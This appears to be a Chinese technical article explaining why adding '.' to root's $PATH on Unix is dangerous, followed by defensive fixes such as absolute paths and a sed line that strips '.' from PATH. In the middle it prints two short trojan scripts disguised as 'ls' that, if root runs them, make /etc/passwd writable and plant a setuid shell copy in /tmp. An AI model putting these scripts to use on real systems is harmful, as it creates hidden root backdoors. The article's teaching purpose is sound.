Unix系统中环境变量知识讲解

系统 其他OS
Unix系统中,我们为大家介绍了一些知识,例如:root为了方便使用在他的当前路径末尾加了个点"."(搜索目录为代表当前目录)。

正如很多人所知道的$PATH环境变量里存着一张目录列表,当用户要执行某一程序时,Unix系统就会按照列表中的内容去查找该程序的位置。当程序名前不带点斜线 . / 时$PATH就会起作用。

对于普通用户和root用户$PATH里默认是不包含"."来指定用户的当前目录。这在本机进行脚本开发的程序员来说却不方便,想图省事的人就把点加到了搜索路径中,这就等于在你的Unix系统埋下了险情。

例如:root为了方便使用在他的当前路径末尾加了个点"."(搜索目录为代表当前目录)

命令操作如下:

  1. [root@rh root]# PATH=$PATH:.  
  2. [root@rh root]# echo $PATH  
  3. /usr/local/sbin:/sbin:/bin:/usr/sbin:/usr/bin:/root/bin:. 

这下是方便了,直接输入脚本名就能执行。OK,正常情况下一点问题没有,也省去了输入./foo.sh的烦恼(foo.sh是我假设的脚本文件名)。有的root把PATH=$PATH:.这条命令加到了profile里,使所有用户到分享你给他们带来的"福音"。更有胜者root用户竟然 PATH=.:$PATH(将":"加到路径前是另一种形式)。正常请况下一点问题没有,直到有一天,张三用户在他的主目录下放了名为lls的脚本,并对 root说他的Unix系统出问题了希望root能帮他解决。(其实是一个trap)。Root一上来就su 成管理员权限,紧更着列了一下目录。有可能管理员误敲成了lls,结果哈哈。。。。

以下是个简单的C shell 的例子
 

  1. #!/bin/csh  
  2. If ( ! -o /bin/su )  
  3. goto finish  
  4. cp /bin/sh /tmp/.sh  
  5. chmod 7777 /tmp/.sh  
  6. finish :  
  7. exec /bin/ls $argv | grep -v ls 

稍微变形就有个B shell的
 

  1. #!/bin/sh  
  2. if chmod 666 /etc/passwd > /dev/null 2>&1 ;then  
  3. cp /bin/sh /tmp/.sh  
  4. chmod 4755 /tmp/.sh  
  5. fi  
  6. exec ls "$@" 

如果root将其环境变量$PATH包含了"."并且其位置先与ls所在的Unix系统目录,那么当用户在/tmp中执行ls时,执行的是上面给出的脚本,而不是实际的ls命令,因为最终还是执行了ls,所以root不会看出有任何异常。如果是root执行了该脚本,就会将口令文件设置为可写,并将 shell复制到/tmp保存为.sh,同时设置其setuserid位,所有这一切都非常安静地发生。

在以上这两个程序里,心怀不鬼的人能写入任何令root急的要跳楼的程序,部下陷阱等root来钻,也许root在不知不觉中施行了也根本不会察觉。也许在张三的主目录下有一个名为ps的脚本里面包含有危险脚本,root可能一到他的机器前就输入了ps,此时Unix系统会首先到当前目录下搜索,结果 /sbin/ps却不被执行。类似这样的小花招还有很多。

管理员同志,不要太紧张,下面我说说解决办法。

首先,要养成输绝对路径的良好命令行输入习惯,这样就不会让"不法份子"乘虚而入了。比如,列目录***用/bin/ls来列目录,不要图方便而冒然输入ls。

其次,根用户(root)不要把"."包括到搜索目录列表里,而普通用户如果个"."包括到搜索列表中的话别,则"."就应当放在搜索目录列表的***位置上。这样一来普通用户不会受到前面所述的那种危害。

***,可以在登陆时在/etc/profile 和bashrc .profile文件的末尾添加如下一行
[PATH=`echo $PATH |sed -e 's/::/:/g; s/:.:/:/g; s/:.$//; s/^://' `

这个简单的sed命令将删除路径里所有的"."包括其另一形式"::"

还可以由crontab调用定期执行
 

  1. #find / ! -fstype proc '(' -name '.??*' -o -name '.[^.]' ')' > point.txt ; \  
  2. mail -s 'this is a pointlist' root@localhost < point.txt 

来搜索所有以点开头的文件,再发送到root的邮箱里,再进行比较等任务。

好了,希望各位用户能有所感悟,能想出更好的Unix系统防御办法。

【编辑推荐】

  1. Unix操作Unix系统中Minix讲解
  2. 简单介绍UnixUnix系统中打印知识
  3. Unix操作Unix系统打印问题解决
  4. 当UnixUnix系统遇到病毒时
  5. Unix操作Unix系统知识讲解
责任编辑:小霞
相关推荐

2010-04-21 16:58:51

Unix环境变量

2010-04-20 15:05:47

Unix操作系统

2010-05-04 16:33:39

Unix系统

2010-05-05 15:02:39

Unix系统

2010-04-30 18:20:23

Unix系统

2010-05-04 09:45:28

Unix系统

2010-08-27 11:17:36

DB2管理环境变量

2010-04-20 14:43:01

Unix操作系统

2011-08-22 15:06:19

linux环境变量

2010-04-30 01:28:59

Unix系统

2010-04-29 13:30:20

Unix操作系统

2010-05-06 09:26:44

Unix系统

2010-05-06 14:24:56

Unix系统交换区

2010-05-05 17:46:32

Unix文件系统

2010-04-20 11:34:26

Unix操作系统

2010-04-20 16:09:18

Unix操作系统

2010-05-11 18:03:28

2010-04-30 14:51:23

Unix系统

2010-05-04 17:17:46

Unix类

2010-05-05 13:13:55

Unix内核
点赞
收藏

51CTO技术栈公众号